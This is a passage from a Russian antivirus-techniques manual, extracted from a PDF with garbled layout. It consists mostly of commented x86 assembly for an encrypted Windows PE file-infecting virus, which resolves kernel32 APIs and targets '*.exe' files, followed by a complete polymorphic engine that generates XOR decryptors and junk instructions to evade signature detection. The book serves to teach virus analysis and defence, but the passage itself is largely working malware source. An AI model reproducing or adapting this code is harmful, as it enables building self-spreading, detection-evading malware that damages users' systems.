Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
241 |
|
|
|
|
add |
eax,edx |
; Получаем адрес памяти |
push |
ecx |
; Сохраним количество указателей |
push |
edi |
; Сохраним указатель на |
|
|
; ординалы |
xchg |
esi,eax |
; В esi указатель на имя |
|
|
; найденной функции |
lea |
edi,[ebp+GetProcAddress] |
; Указываем на имя нужной |
|
|
; нам фунции |
mov |
ecx,GetProcSize |
; Размер строки |
repe |
cmpsb |
; Сравниваем |
xchg |
esi,eax |
; Восстановим значение esi |
pop |
edi |
; Восстановим указатель на |
|
|
; ординалы |
pop |
ecx |
; Восстановим количество |
|
|
; указателей |
je |
Found |
; Нашли! |
inc |
edi |
; Нет - пробуем следующую |
|
|
; функцию |
inc |
edi |
; Указатель на следующий |
|
|
; ординал |
loop |
Search |
|
jmp |
Exit |
|
Found: |
|
|
xor |
eax,eax |
|
mov |
ax,word ptr [edi] |
; Возьмем ординал |
shl |
eax,2 |
; Умножим на размер ординала |
mov |
esi,[ebx+1Ch] |
; Указатель на таблицу адресов |
add |
esi,edx |
; Получим адрес начала |
|
|
; таблицы адресов |
add |
esi,eax |
; и адрес нужной функцции |
lodsd |
|
; Прочитаем, |
add |
eax,edx |
; добавим адрес kernel'a |
mov |
4 ptr [ebp+GetProcAddr],eax |
; Ссохраним |
Exit: |
|
|
ret ;----------------------------------------------
GETAPI:
push |
eax |
push |
dword ptr [ebp+ offset KernelAddr] |
call |
[ebp + offset GetProcAddr] |
jmp |
eax |
;Кладем в стек имя функции
;Кладем в стек адрес kernel'a
;Получаем адрес необходимой
;нам функции
;Вызываем функцию
ret |
|
|
; Возврат из функции |
;---------------------------------------------- |
|
|
|
mask1 |
db '*.exe',0 |
; Маска для поиска |
|
KernelAddr |
dd |
0 |
|
GetProcAddr |
dd |
0 |
|
GetProcAddress |
db |
'GetProcAddress',0 |
|
GetProcSize |
equ |
$-GetProcAddress |
|
FindFirstFileA |
db "FindFirstFileA",0 |
|
|
CreateFileA |
db "CreateFileA",0 |
|
|
242 |
|
|
|
Windows вирусы |
|
|
|
|
|
CreateFileMappingA |
db |
"CreateFileMappingA",0 |
|
|
MapViewOfFile |
|
db |
"MapViewOfFile",0 |
|
UnmapViewOfFile |
|
db |
"UnmapViewOfFile",0 |
|
CloseHandle |
|
db |
"CloseHandle",0 |
|
SetFilePointer |
|
db |
"SetFilePointer",0 |
|
SetEndOfFile |
|
db |
"SetEndOfFile",0 |
|
FindNextFileA |
|
db |
"FindNextFileA",0 |
|
FindClose |
|
db |
"FindClose",0 |
|
GetTickCount |
|
db |
"GetTickCount",0 |
|
save |
|
db |
0h |
|
oldip |
|
dd |
offset Exit1 |
; Для первого поколения вируса |
|
|
|
|
; необходимо это смещение |
imagebase |
|
dd |
0h |
; |
finish: |
|
|
|
|
|
|
dw |
700 dup(0) |
; Место для шифрованной версии |
|
|
|
|
; вируса |
find_file |
|
db |
313 dup(?) |
; Тут идут данные, которые в |
size2read |
|
dd |
0h |
; тело вируса не входят |
fHnd |
|
dd |
0h |
; |
mHnd |
|
dd |
0h |
; |
memory |
|
dd |
0h |
; |
mapaddress |
|
dd |
0h |
; |
PEheader |
|
dd |
0h |
|
filesize |
|
dd |
0h |
|
imagesize |
|
dd |
0h |
|
newip |
|
dd |
0h |
|
Fhandle |
|
dd |
0h |
|
;---------------------------------------------- |
|
|
|
|
.code |
|
|
|
|
Exit1: |
|
|
|
|
push 0 |
|
|
; Сюда передается управление |
|
call ExitProcess |
; в первом поколении вируса |
|||
;---------------------------------------------- |
|
|
|
|
end |
start |
|
|
|
;---------------------------------------------- |
|
|
|
|
Мы разобрали шифрованный паразит — вирус под операционные системы семейства Windows. Как вы уже убедились, динамическое шифрование ничем кардинально не отличается от того, которое мы использовали при написании шифрованных вирусов под DOS.
Алгоритм лечения данного вируса такой же, как и в простом PE паразите, рассмотренном в главе 3.1. Единственной крупной сложностью является анализ данного вируса.
5.6.Полиморфизм
Âданной главе мы разберем полноценный полиморфный генератор и воспользуемся им для маскировки уже написанного нами Windows-паразита. Главной сложностью в написании полиморфного вируса под Windows-системы заключается в том, что программа не может менять себя после запуска (менять на
Windows вирусы |
243 |
|
|
диске). Писать блоковый полиморфный генератор мы не будем, — на это у нас есть несколько существенных причин. Первая причина — это его существенный размер, вторая — это то, что генерация «мусорных» инструкций сильно ограни- чена. А самая главная причина — если использовать мутацию регистров, то обьем и без того большого генератора вырастет раза в 3—4. Из-за этих причин данный вид полиморфных генераторов не получил особого распространения.
Полиморфный генератор — это модуль, который зашифровывает код и добавляет к нему расшифровщик. Расшифровщик в идеале не должен ни разу повториться. Данные операции позволяют сделать код мутирующим, т. е. он каждый раз выглядит по новому. Функциональность же кода остается старой.
Начнем подготовку к написанию полиморфного генератора. Вначале мы должны определить, какой вид будет иметь болванка расшифровщика. То есть под нее должен будет подойти любой наш сгенерированный расшифровщик. Итак, болванка расшифровщика будет иметь следующий вид:
;——————————————————————————-----------------------
;Здесь будут мусорные инструкции mov r1,code_start-1
;Здесь будут мусорные инструкции
crypt: inc r1
;Здесь будут мусорные инструкции mov r2,decrypt_key
;Здесь будут мусорные инструкции xor [r1],r2
;Здесь будут мусорные инструкции cmp r1,code_end-code_start
;Здесь будут мусорные инструкции
jnz crypt ;——————————————————————————-----------------------
Здесь под регистром r1 подразумевается 32 битовый регистр, который может быть одним из: esi, edi, ebx.
Под регистром r2 подразумевается 8 битовый регистр, который может быть одним из: al, cl, dl.
В качестве «мусорных» инструкций будут использованы как однобайтовые инструкции так и двухбайтовые инструкции.
Теперь разберем переменные:
code_start — это начало криптуемого кода;
code_end — это соответственно конец криптуемого кода; decrypt_key — это ключ для криптования/декриптования.
Полиморфный генератор мы оформим, как файл ассемблерного листинга, но он будет содержать только сам генератор и для подключения его к вирусу необходимо будет вставить инструкцию: include pgs2.asm.
244 |
Windows вирусы |
|
|
Так же при вызове самого генератора нужно будет соответствующим образом заполнить регистры:
1)виртуальное начало программы в edx;
2)начало криптуемого кода в eax;
3)размер криптуемого кода в ecx.
После этого идет непосредственно сам вызов полиморфного генератора. И в качестве результатов мы получаем:
1)указатель на буфер содержащий декриптор + криптованный код в edx;
2)размер этого буфера в ecx.
Рассмотрим комментированный листинг полиморфного генератора:
;---------------------------------------------- |
|
|
|
|
|
; |
|
[POLYMORPHIC GENERATOR OF SHIT V. 0.1] |
|||
; |
|
|
|
|
|
; |
######### |
######## |
######## |
||
; |
########### |
########## |
########## |
||
; |
##### ###### |
###### |
## |
###### ## |
|
; |
##### |
##### |
##### |
|
##### |
; |
##### |
##### |
##### |
|
######## |
; |
########### |
##### ###### |
######## |
||
; |
######### |
##### ###### |
##### |
||
; |
##### |
|
##### |
### |
##### |
; |
##### |
|
########### |
########### |
|
; |
##### |
|
##### ### |
######### |
|
; |
|
|
|
|
|
; |
|
|
FOR MS WINDOWS |
||
; |
|
|
|
|
|
;---------------------------------------------- |
|
|
|
|
|
polym: |
|
|
|
|
|
|
push ebp |
|
; Сохраняем в стэке ebp |
||
|
call delta0 |
|
; |
|
|
delta0: |
|
|
|
|
|
|
pop ebp |
|
; Получаем дельта смещение |
||
|
sub ebp,offset delta0 |
; |
|
|
|
|
push edi esi |
|
; Сохраняем в стэке esi, edi |
||
|
mov [ebp+sz_code],ecx |
; Сохраняем в переменных |
|||
|
mov [ebp+st_code],edx |
; начало кода, размер кода, |
|||
|
mov [ebp+begin_code],eax ; виртуальное начало программы |
||||
|
lea edi,[ebp+buff] |
; И указатель на buff кладем в edi |
|||
;---------------------------------------------- |
|
|
|
|
|
work: |
|
|
|
|
|
|
mov eax,18 |
|
;Кладем в eax размер декриптора, но без мусорных байт |
||
|
xchg [ebp+razmer],eax |
; положим размер чистого декриптора в переменную |
|||
|
call dliny |
|
; Вызываем генератор длин, это для мусорных байт |
||
|
add [ebp+razmer],ecx |
; И все длины добавляем к чистому размеру декриптора |
|||
|
mov al,1 |
|
; Генрерируем первую партию мусорных инструкций |
||
|
call musor |
|
; И помещаем в буфер |
||
|
mov dl,0b0h |
|
; |
|
|
Windows вирусы |
|
|
245 |
||
|
|
|
|
|
|
try: |
|
|
|
|
|
|
call random |
|
|
; В данном блоке инструкций мы выбираем регистр |
|
|
and al,5 |
|
|
; для дескриптора - r1 |
|
|
add al,10 |
|
|
; |
|
|
cmp al,0ah |
|
|
; |
|
|
je |
try |
|
|
; И формируем следующую инструкцию |
|
cmp |
al,0ch |
|
|
; |
|
je try |
|
|
; mov r1,code_start-1 |
|
|
cmp al,0dh |
|
|
; |
|
|
je try |
|
|
; |
|
|
add dl,al |
|
|
; |
|
|
xchg al,dl |
|
|
; |
|
|
stosb |
|
|
; Регистр выбран и контрольный байт помещаем в buff |
|
|
push eax eax |
|
; Сохраняем в стэке eax дважды |
||
|
mov eax,[ebp+razmer] |
; Высчитываем и кладем в буфер смещение |
|||
|
mov |
edx,[ebp+st_code] |
; |
||
|
add |
eax,edx |
|
|
|
|
dec eax |
|
|
; |
|
|
stosd |
|
|
; На криптуемый код - 1 |
|
;---------------------------------------------- |
|||||
|
pop ecx |
|
|
; Восстановим контрольный байт инструкции в ecx |
|
|
mov al,5 |
|
|
; Генерируем и помещаем в buff |
|
|
call musor |
|
|
; Пятую партию мусорных инструкций |
|
|
add cl,0f0h-0b0h |
; Здесь мы определяем, |
|||
|
cmp cl,0ffh |
|
|
; какой регистр используется |
|
|
je |
di2 |
|
|
; И переходим к генерации |
|
cmp cl,0feh |
|
|
; инструкции |
|
|
je si2 |
|
|
; |
|
bx2: |
|
|
|
|
|
|
mov al,43h |
|
|
; |
|
|
stosb |
|
|
; inc r1 |
|
|
jmp next3 |
|
|
; |
|
di2: |
mov al,47h |
|
|
; Помещаем инструкцию в buff |
|
|
stosb |
|
|
; |
|
|
jmp next3 |
|
|
; |
|
si2: |
mov al,46h |
|
|
; |
|
|
stosb |
|
|
; |
|
|
jmp next3 |
|
|
; |
|
;---------------------------------------------- |
|||||
|
razmer |
dd |
18 |
; |
|
|
begin_code dd |
0 |
; |
||
|
st_code |
dd |
0 |
; Переменные |
|
|
sz_code |
dd |
0 |
; |
|
|
chislo |
db |
2 |
; |
|
|
key |
|
db |
0 |
; |
;---------------------------------------------- |
|||||
next3: |
|
|
|
|
|
|
mov al,2 |
|
|
; Генерируем и помещаем в buff |
|
246 |
|
Windows вирусы |
|
|
|
call musor |
; очередную (2) партию мусорных инструкций |
|
call random |
; |
|
and al,2 |
; Выбираем случайным образом регистр r2 |
|
add al,0b0h |
; И помещаем контрольный байт в buff |
|
stosb |
; |
|
xor edx,edx |
; |
|
xchg dl,al |
; |
|
call random |
; Случайным образом выбираем decrypt_key |
|
stosb |
; И строим: |
mov r2,decrypt_key |
mov [ebp+key],al |
; Сохраняем ключ криптования в переменной |
|
;---------------------------------------------- |
|
|
mov al,3 |
; Генерируем и помещаем в buff |
|
call musor |
; очередную (3) партию мусорных инструкций |
|
mov al,30h |
; |
|
stosb |
; Формируем инструкцию XOR |
|
|
; с выбранным в начале регистром |
|
pop ecx |
; |
|
cmp cl,0bbh |
; |
|
je bx1 |
; xor [r1],r2 |
|
cmp cl,0beh |
; |
|
je si1 |
; |
|
;---------------------------------------------- |
|
|
di1: |
; |
|
cmp dl,0b0h |
|
|
jne not_al1 |
|
|
mov al,07h |
; |
|
stosb |
; |
|
jmp next |
|
|
not_al1: |
|
|
cmp dl,0b1h |
|
|
jne not_cl1 |
|
|
mov al,0fh |
; |
|
stosb |
; |
|
jmp next |
; |
|
not_cl1: |
|
|
mov al,17h |
; |
|
stosb |
; |
|
jmp next |
; |
|
;---------------------------------------------- |
|
|
bx1: |
; |
|
cmp dl,0b0h |
|
|
jne not_al2 |
|
|
mov al,03h |
; |
|
stosb |
; |
|
jmp next |
|
|
not_al2: |
|
|
cmp dl,0b1h |
|
|
jne not_cl2 |
|
|
mov al,0bh |
; |
|
stosb |
; |
|
Windows вирусы |
247 |
|
|
jmp next |
; |
not_cl2: |
|
mov al,13h |
; |
stosb |
; |
jmp next |
; |
;---------------------------------------------- |
|
si1: |
; |
cmp dl,0b0h |
|
jne not_al3 |
|
mov al,06h |
; |
stosb |
; |
jmp next |
|
not_al3: |
|
cmp dl,0b1h |
|
jne not_cl3 |
|
mov al,0eh |
; |
stosb |
; |
jmp next |
; |
not_cl3: |
|
mov al,16h |
; |
stosb |
; |
jmp next |
; |
;---------------------------------------------- |
|
next: |
|
mov al,4 |
; Генерируем и помещаем в buff |
call musor |
; очередную (4) партию мусорных инструкций |
|
; |
mov al,81h |
; Формируем инструкцию сравнения |
stosb |
; Все мы расшифровали или нет ? |
mov al,cl |
; cmp r1,(code_end-code_begin) |
add al,0f0h-0b0h |
|
stosb |
; |
mov eax,[ebp+sz_code] |
; |
add eax,buff-polym |
|
add eax,[ebp+st_code] |
|
stosd |
; |
;---------------------------------------------- |
|
next2: |
|
mov al,6 |
; Генерируем и помещаем в buff |
call musor |
; очередную (6) партию мусорных инструкций |
mov al,75h |
; |
stosb |
; Вычисляем длину условного |
mov al,0ffh |
; перехода и помещаем в |
sub al,[ebp+len6] |
; буфер: jnz crypt |
sub al,[ebp+len4] |
; |
sub al,[ebp+len2] |
; |
sub al,[ebp+len3] |
; |
sub al,12 |
; |
stosb |
|
;---------------------------------------------- |
|
248 |
|
Windows вирусы |
|
|
|
|
mov ecx,[ebp+sz_code] |
; Помещаем в ecx размер шифруемого кода |
|
add ecx,buff-polym |
; Добавляем к ecx размер полиморфного генератора |
|
push ecx |
; Сохраняем ecx |
|
mov esi,[ebp+begin_code] |
; Кладем в esi начало шифруемого кода |
try2: |
|
|
|
lodsb |
; |
|
xor al,[ebp+key] |
; |
|
stosb |
; |
|
dec ecx |
; |
|
cmp cx,0 |
; |
|
jne try2 |
; |
|
lea edx,[ebp+buff] |
; |
|
pop ecx |
; |
|
add ecx,[ebp+razmer] |
; |
|
pop esi edi ebp |
; |
|
ret |
; |
;---------------------------------------------- |
||
; |
[ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ] |
|
;---------------------------------------------- |
||
musor: |
|
|
|
push edx |
; Сохраняем в стэке регистры, |
|
push ecx |
; которые будут меняться |
|
xor ecx,ecx |
; Обнуляем регистр ecx |
|
cmp al,1 |
; |
|
jne dl2 |
; В данном большом блоке инструкций мы |
|
mov cl,[ebp+len1] |
; определяем, какая серия мусорных команд |
|
jmp try3 |
; будет генерироваться (если быть |
dl2: |
cmp al,2 |
; более точным, то какое количество мусорных |
|
jne dl3 |
; байт мы будем генерировать) |
|
mov cl,[ebp+len2] |
; |
|
jmp try3 |
; |
dl3: |
cmp al,3 |
; |
|
jne dl4 |
; |
|
mov cl,[ebp+len3] |
; |
|
jmp try3 |
; |
dl4: |
|
; |
|
cmp al,4 |
; |
|
jne dl5 |
; |
|
mov cl,[ebp+len4] |
; |
|
jmp try3 |
; |
dl5: |
|
; |
|
cmp al,5 |
; |
|
jne dl6 |
; |
|
mov cl,[ebp+len5] |
; |
|
jmp try3 |
; |
dl6: |
|
; |
|
mov cl,[ebp+len6] |
; |
try3: |
|
; |
|
push esi |
; Сохраняем esi в стэке |
two_byte: |
|
; |
|
cmp cl,2 |
; Проверяем: если количество генерируемых байт меньше |
Windows вирусы |
|
249 |
|
|
|
|
|
|
jl one_byte |
; чем 2, то переходим к генерации 1 байтового мусора |
|
|
lea esi,[ebp+two_byte_opcode] ; Кладем в esi смещение на блок 2 байтовых мусорных |
||
|
|
; инструкций |
|
|
call random |
; Вызываем генератор случайных чисел |
|
|
and eax,6 |
; Количество инструкций равно 7 и поэтому мы |
|
|
|
; ограничиваем случайное число интервалом [0..6] |
|
|
mul [ebp+chislo] |
; Затем мы умножаем это число на 2, т.к. инструкции |
|
|
|
; двухбайтовые |
|
|
add esi,eax |
; Добавляем к esi полученный результат, таким |
|
|
|
; образом esi указывает на какую то инструкцию из |
|
|
|
; (случайно выбранную) таблицы two_byte_opcode |
|
|
movsw |
; Помещаем ее в buff |
|
|
sub ecx,2 |
; Отнимаем от ecx длину инструкцию |
|
|
jmp one_byte |
; Переходим к генерации однобайтовых мусорных |
|
|
|
; Инструкций |
|
two_byte_opcode: |
; Таблица двухбайтовых мусорных инструкций |
||
|
mov eax,eax |
; |
|
|
mov ebx,ebx |
; |
|
|
mov edi,edi |
; |
|
|
mov al,al |
; |
|
|
mov bl,bl |
; |
|
|
mov bh,bh |
; |
|
|
db 0ebh,00h |
; Вырожденный jmp (jmp $+2) |
|
one_byte: |
|
|
|
|
lea esi,[ebp+one_byte_opcode] |
; Генерация однобайтовых |
|
|
call random |
; мусорных инструкций аналогична |
|
|
and eax,3 |
; генерации двух байтовых мусорных |
|
|
add esi,eax |
; инструкций |
|
|
cmp ecx,0 |
; |
|
|
je ending |
; |
|
|
movsb |
; |
|
|
dec ecx |
; |
|
|
jmp two_byte |
; |
|
ending: |
|
|
|
|
pop esi |
; Восстанавливаем регистры |
|
|
pop ecx |
; из стэка |
|
|
pop edx |
; |
|
|
ret |
; Выход из процедуры генерации мусорных инструкций |
|
|
one_byte_opcode db 0f9h,09bh,0fch,90h |
||
|
|
; Выше расположена таблица однобайтового мусора |
|
;---------------------------------------------- |
|||
; |
[ГЕНЕРАТОР ДЛИН МУСОРНЫХ СЕРИЙ] |
||
;---------------------------------------------- |
|||
dliny: |
|
|
|
rep1: |
|
; |
|
|
call random |
; |
|
|
and al,0ah |
; Данный блок инструкций наиболее |
|
|
cmp al,0 |
; легок для понимания. |
|
|
je rep1 |
; Здесь генерируется 6 случайных чисел в |
|
|
mov [ebp+len1],al |
; интервале [0..10] |
|
250 |
Windows вирусы |
|
|
rep2: |
; Затем они сохраняются в теле полиморфного |
call random |
; генератора |
and al,0ah |
; |
cmp al,0 |
; |
je rep2 |
; |
mov [ebp+len2],al |
; |
rep3: |
; |
call random |
; |
and al,0ah |
; |
cmp al,0 |
; |
je rep3 |
; |
mov [ebp+len3],al |
; |
rep4: |
; |
call random |
; |
and al,0ah |
; |
cmp al,0 |
; |
je rep4 |
; |
mov [ebp+len4],al |
; |
rep5: |
; |
call random |
; |
and al,0ah |
; |
cmp al,0 |
; |
je rep5 |
; |
mov [ebp+len5],al |
; |
rep6: |
; |
call random |
; |
and al,0ah |
; |
cmp al,0 |
; |
je rep6 |
; |
mov [ebp+len6],al |
; |
xor ecx,ecx |
; Затем здесь обнуляется регистр ecx |
mov cl,[ebp+len1] |
; После этого все |
add cl,[ebp+len2] |
; длины прибавляются и помещаются в регистре cl |
add cl,[ebp+len3] |
; |
add cl,[ebp+len4] |
; cl=len1+len2+len3+len4+len5+len6 |
add cl,[ebp+len5] |
; |
add cl,[ebp+len6] |
; |
ret |
; Возврат из подпрограммы |
;---------------------------------------------- |
|
len1 db 0 |
; |
len2 db 0 |
; Здесь в коде полиморфного генератора |
len3 db 0 |
; храняться длины мусорных инструкций |
len4 db 0 |
; |
len5 db 0 |
; |
len6 db 0 |
; |
;---------------------------------------------- |
|
random: |
; Данная подпрограмма генерирует случайное число |
|
; И она должна быть локализована под вызов WIN API |
push edx ecx |
; |
db 0fh,031h |
; rdtsc |
rcl eax,2 |
; |
